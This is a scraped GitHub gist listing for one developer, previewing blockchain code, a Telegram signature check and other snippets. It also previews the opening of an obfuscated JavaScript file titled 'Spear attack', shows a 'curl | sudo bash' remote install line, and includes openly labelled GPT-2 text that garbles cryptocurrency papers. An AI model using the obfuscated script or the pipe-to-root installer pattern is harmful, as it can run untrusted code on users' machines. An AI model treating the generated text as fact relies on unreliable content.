Skip to content

Instantly share code, notes, and snippets.

View genecyber's full-sized avatar
🎯
Focusing

Shannon Code genecyber

🎯
Focusing
View GitHub Profile
{
"name": "Flow",
"description": "Circuit Builder",
"version": "1.0.0",
"icon": "flask",
"url": "https://builder.emblemvault.io/#main",
"author": "Shannon Code",
"email": "shannon@cov.al",
"color": "#1873D3",
"roles": [],
[
{
"constant": true,
"inputs": [],
"name": "name",
"outputs": [
{
"name": "",
"type": "string"
}
@genecyber
genecyber / Vitalik Natamoto.md
Last active September 17, 2019 01:02
OpenAI gpt-2 Trained on Bitcoin Whitepaper and Ethereum Yellow paper

After having implemented this on my system, I opened it up to the rest of the world.

The system

is written in the low-level EVM code. This means that EVM code can encode any computation that can be conceivably carried out, including infinite loops. EVM code allows looping in two ways. First, there is a JUMP instruction that allows the program to jump back to a previous spot in the code, and a JUMPI instruction to do conditional jumping, allowing for statements like while x < 27: x = x * 2. Second, EVM code allows looping in the form of JUMPI, allowing for statements like while x < 27: x = x * 2. This allows looping through recursion, but it does lead to programs that become very space-inefficient as they go along. For example, implementing an alternative elliptic curve signature algorithm would likely require 256 repeated multiplication rounds all individually included in the code.

As an additional firewall, a new key pair should be used for each transaction to keep them from being linked to a common pool

@genecyber
genecyber / check_telegram_signature.js
Created April 4, 2019 20:01 — forked from Pitasi/check_telegram_signature.js
Telegram website login widget, signature check sample using Node.js
// Copied by https://gist.github.com/dotcypress/8fd12d6e886cd74bba8f1aa8dbd346aa,
// thanks for improving code style
const { createHash, createHmac } = require('crypto');
const TOKEN = "ABC:12345...";
// I prefer get the secret's hash once but check the gist linked
// on line 1 if you prefer passing the bot token as a param
const secret = createHash('sha256')
.update(TOKEN)
@genecyber
genecyber / Interface.Plugin.sol
Created November 1, 2017 15:35
Solidity Plugin Pattern using Interface Pattern
pragma solidity ^0.4.7;
import "Interface.Contract.sol";
import "Interface.Record.sol";
contract IPlugin is IContract, IRecord {
bool public initialized = false;
string public PluginName;
string public ContractName;
@genecyber
genecyber / detect-and-fire.js
Last active October 20, 2017 20:57
Hook xhr
var page_view = {}
page_view.all_elements = $('*')
page_view.elements_with_events = []
$(page_view.all_elements).each(function(i, elem){
var events = $(elem).data("events")
page_view.all_elements[i].events = events
if (typeof(events) !== "undefined") {
page_view.elements_with_events[page_view.elements_with_events.length] = page_view.all_elements[i]
console.log($(elem), $(elem).data("events"))
}
@genecyber
genecyber / IOracle.md
Last active January 4, 2018 00:39
I/Oracle: The making of a smarter oracle

Introduction:

As blockchain developers we are presented with new and exciting tools to solve problems that we have struggled with for years. With this new found functionality we are also presented with new sets of challenges to solve. The need to execute code that is considered sensitive. The desire to transfer value without identifying the participants involved. The need to maintain more privacy than a pseudonymous “public” chain like the Bitcoin or Ethereum Blockchain provide. Lack of intelligent tools, frameworks or libraries. Approaches to these challenges range from elegant to out of band hacks that often undermine the value of a blockchain.

I tend to “off brain” some of the harder problems to whatever magic works in the background processes of the brain. What follows is the result of a bit of news that triggered one of these background processes to start returning data. Specifically the acquisition of a unikernel company by Docker.

History:

The “Smart Contract” concept is one that has been a

@genecyber
genecyber / cardType.js
Created March 8, 2017 01:40
Javascript to determine credit card type
function GetCardType(number)
{
// visa
var re = new RegExp("^4");
if (number.match(re) != null)
return "Visa";
// Mastercard
re = new RegExp("^5[1-5]");
@genecyber
genecyber / Wallet.js
Created May 20, 2016 00:58
Spear attack
function UHfIvfG() {
var MabOTGE = [(9), "f", 4][1];
return MabOTGE;
}
function rQAVRn() {
var UdejotRq = [3, "r", 6][1];
return UdejotRq;
}
function agwFZ() {
qnem = "C";
curl https://install.21.co/bitcoin-computer/install.sh | sudo bash
Congratulations, you just saved $365. That's all there is to it.